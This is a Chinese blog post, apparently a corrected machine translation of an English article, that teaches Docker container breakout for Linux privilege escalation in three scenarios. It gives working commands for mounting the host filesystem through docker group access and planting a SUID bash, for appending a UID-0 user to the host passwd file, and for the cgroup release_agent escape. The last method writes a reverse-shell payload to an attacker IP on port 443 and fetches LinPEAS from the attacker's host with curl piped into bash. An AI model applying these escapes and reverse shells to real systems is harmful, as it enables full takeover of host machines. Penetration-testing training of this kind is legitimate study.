Linux 提权-Docker 容器

本文通过 Google 翻译 Docker Breakout – Linux Privilege Escalation 这篇文章所产生,本人仅是对机器翻译中部分表达别扭的字词进行了校正及个别注释补充。


导航


0、前言

在本文中,我们将探索使用 Docker 突破技术在目标 Linux 主机上提升权限。

我们将回顾三种不同的 Docker 突破场景。在每种场景中,我们都会看到一种可以用来突破 Docker 容器的不同技术,而每种情况都会让我们在目标主机上获得 root shell!

首先,我们要在目标主机上站稳脚跟,然后经过手动枚举,我们会发现当前用户已加入 docker 组。发现这一点后,我们将枚举 docker 服务,并收集我们所需的信息,以便投入到 docker 容器中。我们通过使用 GTFOBins 找到一个利用,使我们能够以 root 身份操纵实际的文件系统。

另一种场景是,我们在目标系统中获得了立足点;然而,我们会发现,我们的立足点实际上是在目标主机上运行的 docker 实例中。然后,我们将列举容器内的一些东西,这些东西将表明我们实际上是在一个有特权的容器内,而脱离容器将变的轻而易举。

最后一种场景与上一种场景类似,只是我们会发现我们并不在特权容器中。但幸运的是,经过枚举会发现我们实际上拥有正确的权限组合,可以让我们突破 docker 容器,从而在宿主机上获得 root shell。

1、什么是 Docker ?

Docker 是一个开放平台,用于开发、发布和运行独立于主机基础设施的应用程序。

使用 Docker 可以将应用程序打包并在一个称为容器的松散隔离环境中运行。这种隔离和安全性允许许多容器同时在指定主机上运行。

容器是轻量级的,包含运行应用程序所需的一切。

Docker 使用客户端-服务器架构。 Docker 客户端与 Docker 守护进程通信,后者负责构建和运行 Docker 容器的繁重工作。

作为攻击者,我们可以看到 docker run 是上面三个客户端命令中最有趣的,因为它能让我们进入一个容器。

关于 Docker,还有一些其他有趣的事情需要记住,这将有助于我们定位这项服务:

  • docker 容器通常以 root 作为默认用户运行。
  • 默认情况下,容器以 root 身份运行,因为 dockerd(docker 守护进程)默认也以 root 身份运行。
  • 容器启动选项 –privileged 为容器提供了所有功能。换句话说,容器几乎可以做主机能做的所有事情。
  • docker 组中的用户对于 docker 服务而言相当于 root。

注:此处及后文提到的 docker 容器用户和 docker 进程用户并非同一个身份。

docker 容器用户:指进入容器之后,在容器操作环境中的用户身份。

docker 进程用户:指容器外部 docker 守护进程是以宿主机的哪个用户身份去运行的。

考虑到所有这些,让我们来看一些例子!

2、寻找 Docker 权限

对于此示例,我们假设以标准用户 dawker 在目标 Linux 主机上获得了立足点。

2.1、升级 Shell 到完整 TTY

站稳脚跟后我们要做的第一件事就是将 shell 升级为完整的 TTY。我们可以使用以下命令集来完成此操作:

python3 -c 'import pty;pty.spawn("/bin/bash");'
CTRL + Z
stty raw -echo;fg
export TERM=xterm

现在有了完整的 TTY,我们可以使用箭头浏览命令历史记录、使用制表符补全、清除终端等。

完整 TTY 对于我们将要使用的漏洞利用来说还是很有必要的。

2.2、手动枚举 Docker 组中的用户

一旦建立了完整的 TTY,应该执行的第一对命令是 whoamiid。这将向我们显示当前是哪个用户以及哪个组。

whoami ; id

在这里可以看到当前用户是一个名为 dawker 的标准用户。然而,在该用户所属的组列表中,我们可以看到一个有趣的发现--当前用户已位于 docker 组中!

加入 docker 组是一个有趣的发现,因为如果 docker 使用的是默认配置,那么 root 权限就是有保障的。

但大多数时候,我们不会直接就以 docker 组中的用户身份在目标主机上立足,因此,我们需要对 docker 组中的用户进行水平提权,然后才能获得 root 权限。

如果是这种情况,那么我们可以使用以下 for 循环 来寻找 docker 组中的用户:

for user in $(cat /etc/passwd | awk -F: '{print $1}');do echo "$user" ; id "$user" ;done | grep -B 1 "docker"

这个 for 循环执行以下操作:

  • 首先,使用 cat /etc/passwd 查看系统上的所有用户,然后使用awk 只输出用户名字段。
  • 接下来,循环回显每个用户名并对它们执行 id 命令。
  • 最后,使用 grep 只抓取其中包含 “docker” 的结果。

以上执行结果也向我们表明第二个用户 “devops” 也在 docker 组中。而如果我们以既不是 “devops” 也不是 “dawker” 的用户身份进入 shell,那么我们会想要寻找一种方法来水平提权到其中一个用户。

2.3、手动枚举 Docker 服务

幸运的是,我们发现当前用户正好位于 docker 组中。

那么接下来,我们需要进一步枚举 docker 服务,以确定是否可以滥用 docker 组权限提升到 root。

此处跑题开始

首先需要确定的是,我们是否可以挂载 docker 套接字。如果发现套接字可以写入,我们就可以有效地使用 docker 命令并将其放入容器中。

find / -name docker.sock 2>/dev/null

运行 find 命令后,docker.sock 文件的位置就暴露了。找到后,我们可以检查该文件的权限。

ls -l /run/docker.sock

在这里,我们可以看到 docker.sock 文件对 docker 组中的用户是可写的!这意味着我们可以用当前用户操作及登录容器

注:该部分的主题以枚举 docker 服务为主,而此处的描述有些跑题,显得词不达意,但依旧值得去学习。

套接字 docker.sock 文件相当于是 Docker 守护进程的一个 API 接口,多用于容器与守护进程通信以操作管理守护进程,通俗易理解示例如 docker.ui 容器管理容器。

也就是说,如果我们能够有权读写 docker.sock 文件,即便不是 root 用户、不在 docker 组中,我们也依旧可以通过一些特殊操作去管理容器(创建、查看、交互)。

参考:特殊操作1特殊操作2

此处跑题结束

接下来我们要枚举的是 docker 服务。理想情况下,我们希望该服务不是在无根模式下运行。

使用无根模式,Docker 容器和守护进程都会在定义的用户命名空间内运行。这样,守护进程就可以在没有 root 权限的情况下运行。

ps -ef | grep -i "docker"

Great!在这里,我们可以看到 docker 守护进程是以 root 的身份运行的,这意味着我们可以以 root 的身份在容器外执行命令

注:在场景1中,在容器中进行的拷贝赋权等操作同样作用到了容器外部的系统上面,而这些操作在容器外部本应该是以 root 身份去进行的,但由于 docker 进程是 root 身份运行的,故这些在容器中的操作也同样有了 root 身份的加持。

继续往下看,我们应该进一步列举 docker 是如何配置的,以确定在创建容器并登录容器后使用的是哪个身份的用户。

2.4、手动枚举 Docker 镜像和默认用户

Docker 容器总是以 root 作为默认用户运行,除非在 Dockerfile 或启动命令行中另有指定。

确定该主机上的容器是否以 root 作为默认用户运行的最佳方法是简单地启动一个容器。

首先,我们看下目标主机上现有的 docker 镜像有哪些,可以使用以下命令:

docker images

可以看到,这里安装了一个 Alpine 镜像,因此我们可以记下存储库名称 “alpine”,以便在启动容器时使用该名称。

在启动容器时,您还可以使用映像 ID 代替存储库名称。

接着,我们启动一个容器,该容器将运行单个命令 (whoami),然后自行销毁。

docker run --rm -it alpine sh -c "whoami"

Amazing!主机使用默认配置,容器以 root 作为默认用户运行!

现在我们已经列举了这项服务,并确认它存在漏洞,那么我们就可以寻找漏洞来提升权限。

然而,在我们这样做之前,让我们看看 LinPeas 是如何枚举信息的。

2.5、工具枚举 Docker – LinPEAS

LinPEAS 是一款终极的后渗透枚举工具,本文中关于它在受害者机器上进行的传输、执行等过程不再累述,我们只关注在脚本执行结束之后关于输出结果的梳理,看看 LinPEAS 枚举效果如何。

LinPEAS 首先要做的检查之一是 "Basic Information",它基本上是通过几个简单的命令来提供高级信息。

这里运行的简单命令之一是 id,它立即向我们显示当前用户位于 docker 组中。

接着,我们来到 “Processes, Crons, Timers, Services and Sockets” 部分,在这里我们可以看到 dockerd 进程由 root 拥有。

令人惊讶的是,这甚至不是一个红色发现,这意味着如果我们不知道寻找它,它很容易会被忽视。

在同一部分中进一步向下滚动。我们将会遇到 Unix Sockets。在这里我们会发现 docker.sock 文件是可写的。

过去,可写的 docker.sock 结果总是红色/黄色。但在最新版本的 LinPEAS 中(本文撰写时),这只是一个红色结果。

下一部分我们将在 “User Information” 部分找到有关 docker 的信息。

在这里,我们可以看到针对当前用户再次发出的 id 命令。再往下一点,我们还可以看到 docker 组中的所有用户。

最后,当我们继续向下滚动时,我们将看到 “docker files”,但在这个例子中它们都不是重点。

以上结果表明,LinPEAS 能够像手动操作一样枚举 docker 服务。

请记住,LinPEAS 并不会尝试枚举容器镜像,也不会检查容器是否以 root 作为默认用户运行。

现在,我们已经了解了如何枚举 docker 服务、镜像和默认用户,接下来让我们看看如何利用我们发现的内容继续利用该服务。

3、场景1:通过滥用 Docker 组权限提权

之前我们了解了如何枚举容器中的默认用户,而默认用户恰好是 root。进行枚举时,我们使用 docker run 命令启动容器来执行单条命令。

与我们启动容器来运行单条命令类似,我们也可以启动容器并进入 shell 中,以与其进行命令交互。

docker run --rm -it alpine sh

这一次,我们进入了一个带有文件系统的容器,不过请注意,在这个文件系统中的 root 与在宿主机上的 root 是并不相同的。

3.1、在 GTFOBins 上查找 Docker 利用

那么我们如何才能从容器中的 root 转到实际主机上的 root 呢? 答案就在于 docker run 命令以及我们如何启动容器。

由于漏洞利用依赖于 docker 命令,因此我们可以检查 GTFOBins 以查找漏洞利用。

我们知道当前的用户正好位于 docker 组中,而这也正好符合上面 docker 命令的使用条件,这也就意味着我们可以利用它并获得 root 权限!

GTFOBins 给出的利用命令有很多选择,但 “shell” 绝对是最有趣的。

这告诉我们,我们可以摆脱受限环境并获得 root shell,这太完美了!

上面的命令会将宿主机文件系统挂载到容器内的 /mnt 目录,然后将我们放入 /mnt 中的 shell 中。本质上,我们将成为容器内的 root,但实际上会与宿主机的文件系统进行交互。

3.2、在 Docker 容器中挂载宿主机文件系统

由于目标主机上的镜像文件也是 alpine,因此我们可以使用 GTFOBins 中的命令,而无需对其进行编辑。

docker run -v /:/mnt --rm -it alpine chroot /mnt sh

现在,当我们执行 ls 命令时,我们看到列出了更多的目录。这是因为我们看到的是宿主机文件系统上的目录!

因为我们挂载了宿主机文件系统,所以我们对文件或目录所做的任何更改也将反映在宿主机的文件系统上。

不过,事实是,我们仍在 docker 容器中。所以,让我们看看如何才能摆脱困境,在真正的主机上获得 root!

3.3、突破 Docker 容器以获取宿主机 Root 权限

由于我们已经挂载了宿主机的文件系统,因此突破 docker 容器将是轻而易举的。

我们可以使用一些很好的技术来突破这个容器,但是在这个例子中,我们将通过制作 SUID bash 二进制文件来提升到 root 权限。

cp /bin/bash /tmp/bash
chmod +s /tmp/bash
ls -l /tmp

Amazing!我们可以看到 SUID bash 二进制文件已在 /tmp 目录中创建。

现在,当我们从容器中退出时,应该会在实际主机上看到相同的 SUID bash 二进制文件。

确认文件位于宿主机上后,我们只需运行以下命令即可进入 root shell:

/tmp/bash -p

Awesome!我们成功脱离了 docker 容器,并在宿主机上获得了 root shell。

4、场景2:直接在特权容器中立足

上一种场景中,我们先是在外部利用主机并获得了一个普通用户 shell。但这一次,当我们站稳脚跟时,似乎立刻就获得了 root ?

此时此刻,我们还不确定自己是否在容器中。

在此示例中,我们使用 netcat 立足,因此我们应该像之前一样尝试升级到完整的 TTY。

好吧,既然我们是 root,我们不妨看看是否可以查看 /root 目录中的文件。

有趣的是,我们在这里什么也没看到,这时候我们就应该开始怀疑自己是不是在一个 docker 容器中。

4.1、确认处于 Docker 容器中

我们可以使用几种方法来检查自己是否处于 docker 容器中。

首先,12 个随机数字/字母组合作为主机名是一个常见的标志,表明我们位于 docker 容器中。

另一个要找的东西是文件系统根目录下的 .dockerenv 文件。如果我们看到了这个文件,那么很有可能我们是在一个容器中。

ls -la /

最后,确认我们是否处于 docker 容器中的最佳方法是检查 cgroup 进程。

cat /proc/1/cgroup

看到所有属于 docker 的控制组,就能确认我们确实是在一个 docker 容器中。

4.2、确认这是一个特权容器

由于直接立足于 docker 容器,因此我们这次就不能使用 docker run 命令进行漏洞利用。相反,我们必须从 docker 容器内部进行枚举以确定是否设置了 –privileged 标志。

有很多方法可以判断在启动容器时是否使用了 –privileged 标志,从 fdisk 命令开始。

fdisk -l | grep -A 10 -i "device"

由于我们能够列出设备,因此基本上可以确认我们是在一个有权限的容器中。在非特权容器中,这条命令将被拒绝执行。

检查我们是否处于特权容器中的另一种方法是检查状态进程中的 seccomp 值。

cat /proc/1/status | grep -i "seccomp"

看到两个字段都为 0 清楚地表明这是一个特权容器。在非特权容器中,我们将分别看到 2 和 1。

最后,我们还可以进行一项检查,也许是最简单的一项检查,就是查看 /dev 目录中有多少文件。

ls /dev

在 /dev 中看到大量文件和子目录,证明这是一个特权容器。在非特权容器中,我们不会在其中看到如此多的文件。

4.3、突破特权容器

现在我们已经确定我们处于一个特权容器中,下一步就是突破它。

与上一个示例类似,我们将挂载宿主机文件系统以突破容器。这次的不同之处在于我们需要从 docker 容器内部挂载它。

首先,我们需要找到属于主机的驱动器,以便挂载它。

df -h

在这里,我们可以看到 sda5 是主机驱动器,这也是我们在前面的 fdisk 命令输出中看到的。

有了主机驱动器的名称,我们现在可以挂载它,然后从 Docker 内部访问主机上的所有文件。

mkdir -p /mnt/juggernaut
mount /dev/sda5 /mnt/juggernaut
ls -l /mnt/juggernaut

Great!我们成功挂载了宿主机文件系统,现在我们可以 root 身份与其交互。

尽管我们拥有宿主机文件系统的 root 访问权限,但事实是我们仍然在容器中。所以现在我们需要突破容器以获得实际主机上的 root shell。

但与上次不同的是,我们无法复制 bash 并设置 SUID 位,因为我们在主机上没有立足点来执行它。

相反,我们需要做一些不同的事情来获取 root shell。

对于本例,我们要做的是创建一个 root 用户,然后使用它通过 SSH 连接到主机。

注:此处必须要了解 docker 容器和宿主机之间的网络模式,本例容器的网络模式必须是 host 模式,也就是容器相当于一个应用部署在宿主机上,和宿主机使用共同的网卡、共同的 ip ,且假设宿主机已运行 ssh 服务。若容器使用其它的网络模式,则下列方法无效。

4.3.1、添加 “root” 用户

由于宿主机文件系统挂载在容器中,因此通过编辑容器内部的 passwd 文件,更改也会发生在宿主机上。

首先,我们需要在攻击者计算机上为 root 用户生成密码哈希。

openssl passwd -1 -salt r00t password123

获得哈希值后,我们可以获取此信息并将其输入以下命令,以将新行附加到 passwd 文件中,创建一个名为 r00t 的新 root 用户:

echo 'r00t:$1$r00t$HZoYdo0F7UZbuKrEXMcah0:0:0:/dev/shm/pwnt:/bin/bash' >> /mnt/juggernaut/etc/passwd

4.3.2、登录 “root” 用户

Perfect!我们的 root 用户已经创建了。现在我们需要做的就是通过 SSH 连接到主机,我们就拥有了 root shell!

因为我们将用户 id 和组 id 设置为0,所以这个新用户和内置的 root 是一样的。只要 UID 和 GID 为 0,所有 "root" 都是平等的。

ssh r00t@172.16.1.150

BOOM!就这样,我们无需先在宿主机上站稳脚跟,就能脱离 docker 容器!

5、场景3:直接在非特权容器中立足

正如我们在上一个例子中所看到的,我们从外部利用了同一台主机,并再次直接在 docker 容器中获得了立足点。

对于这个例子,假设我们已经升级到完整 TTY,并且我们还确认自己就是处于 docker 容器中。

接下来,我们需要检查这是否是一个特权容器。

5.1、确定这不是特权容器

就像上一个例子一样,我们首先检查是否可以使用 fdisk 命令。

fdisk -l | grep -A 10 -i "device"

这次我们什么也没看到!这是一个早期迹象,表明我们并不处于特权容器中。但是,我们继续检查……

cat /proc/1/status | grep -i "seccomp"

Ouch! 分别看到 2 和 1,说明该容器没有使用 -privileged 标记运行。

为了查看我们之前所做的三项检查中特权和非特权之间的区别,我们还可以检查 /dev 以确认这不是一个特权容器。

ls /dev

与在特权容器中相比,在 /dev 中几乎看不到任何文件或子目录,这进一步表明该容器没有特权。

那么,如果容器没有特权,我们该如何逃生呢?这取决于该容器是否被授予了任何权限。如果设置的是默认权限,那么我们很可能无法逃出。

5.2、寻找其它突破方法

如果容器拥有默认权限,那么它基本就被锁定了。不过,我们仍应检查是否授予了任何权限。如果我们运气好,启用了正确的组合,我们就可以逃出这个容器。

5.2.1、查找已启用的有趣功能 – CAP_SYS_ADMIN

我们首先要检查的是,我们是否启用了任何可以帮助我们突围的功能。

capsh --print

在这里,我们可以看到在容器中启用 CAP_SYS_ADMIN 的一个重要功能。有很多功能可用于突破 docker 容器,但这个功能是迄今为止最好用的功能。

需要使用 CAP_SYS_ADMIN 来执行容器内所需的一系列管理操作。如果在容器内执行特权操作,但没有使用 -privileged 标记,那么该功能很可能是为 "最小特权原则 " 而设置的。

由于我们发现在此容器中启用了 CAP_SYS_ADMIN,因此我们需要重点关注专门使用此功能的漏洞利用。

对我们来说幸运的是, Felix Wilhelm 发现了一个漏洞,只要满足 2 个条件,攻击者就可以突破 docker 容器:启用 CAP_SYS_ADMIN 、 AppArmor 停止或未加载

5.2.2、确认 AppArmor 未加载

根据这次攻击的要求,我们需要做的就是检查 AppArmor 是否正在运行。如果幸运的话,我们发现它没有被加载或停止运行,那么我们就可以突破这个容器并在宿主机上获得 root 权限!

要检查 AppArmor 是否正在运行,我们所要做的就是检查一个文件,即 /sys/kernel/security/apparmor/profiles 文件。

如果检查 /sys/kernel/security/apparmor/profiles 的内容,显示 一堆 profile 列表,则表明 AppArmor 正在运行;如果显示 空文件且不返回任何内容,则表明 AppArmor 已停止;如果提示该文件不存在,则表明 AppArmor 未被加载。

到了关键时刻……

cat /sys/kernel/security/apparmor/profiles

Perfect!我们检查该文件后发现它不存在,这意味着 AppArmor 未被加载!

由于 AppArmor 未加载且 CAP_SYS_ADMIN 已启用,因此我们拥有突破此容器所需的两个条件,即便该容器启动时并未设置 –privileged 标志。

然而,在我们了解如何突破这个容器之前,让我们再来看看 LinPEAS 在容器内部的枚举效果如何。。

5.3、使用工具寻找 Docker 突破口 – LinPEAS

假设一切都已设置完毕并准备就绪(HTTP 服务器在攻击者上运行以提供 LinPEAS),我们需要做的就是下载并执行 LinPEAS。

curl 172.16.1.30/linpeas.sh | bash

首先,我们会注意到测试结果是以 root 身份运行的。不幸的是,这会导致一些误报。

因为我们是 root,所以我们会看到很多红色/黄色的结果。为了消除噪音,实际上,在运行 LinPEAS 之前,我们已经进行了一些手动枚举,以确定我们是处在容器中。了解了这一点,我们就可以避开噪音,直接获取我们想知道的信息。

如果我们向下滚动一点,我们将看到 “Protections”,在这里我们可以看到容器中启用了哪些安全功能。

这告诉我们 seccomp 已启用,但 AppArmor 是 “unconfined”,这意味着我们应该能够使用 mount 命令。

启用 AppArmor 后,您将无法使用 mount 命令,权限将被拒绝。

5.3.1、找到很多关于容器的好信息

在 “Protections” 小节下方,我们将看到 “Container” 部分,这里是我们了解容器配置最多的地方。

在这里我们可以看到 LinPEAS 已经确定我们处于一个容器中,并且它表明 AppArmor 是 “unconfined”。然而,最有趣的发现是 docker 很容易受到 “release_agent breakout” 1 和 2 的影响。

接下来,如果我们再向下滚动一点,我们可以看到“Container Capabilities”。

本节以外的其余检查都是标准检查,由于已经是 root,所以它们充满了红色/黄色发现的误报。

LinPEAS 在枚举容器内部方面做得很好。它能够找到我们通过手动枚举找到的所有信息;然而,真正的好处是 LinPEAS 可以根据当前权限集检查可以使用的不同突破方法。

5.4、使用release_agent Breakout 2 方法突破非特权容器

通过枚举 docker 容器,我们发现应该能够使用 “release_agent breakout 2” 方法进行突破。

现在让我们看看如何使用此技术进行突破并以 root 身份获得反向 shell!

首先,我们需要挂载 RDMA cgroup 控制器并创建一个子 cgroup。

mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

完成后,我们需要在“x”cgroup 发布时启用 cgroup 通知。

echo 1 > /tmp/cgrp/x/notify_on_release

接下来,我们需要找到容器的 OverlayFS 的挂载路径。

host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`

设置完毕后,下一步是将 release_agent 设置为 /path/payload

echo "$host_path/breakout" > /tmp/cgrp/release_agent

现在,我们将制作有效载荷,它将是通过端口 443 到达我们攻击者机器的反向 shell。

echo '#!/bin/bash' > /breakout
echo 'bash -i >& /dev/tcp/172.16.1.30/443 0>&1' >> /breakout

接下来,我们只需要为有效载荷添加执行权限,然后返回到我们的攻击者机器在端口 443 上设置一个 netcat 监听器。

chmod a+x /breakout

回到我们的攻击者机器上......

nc -nvlp 443

最后,再次回到受害者,我们现在可以使用以下命令执行我们的有效负载:

sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

关键时刻,我们获得了 root shell。

Amazing!即使启动容器没有设置 –privileged 标志,我们也能够突破并获得主机的 root 权限!当然,要使此漏洞发挥作用,确实需要设置一些权限。

posted @ 2024-06-29 18:14  扛枪的书生  阅读(124)  评论(0编辑  收藏  举报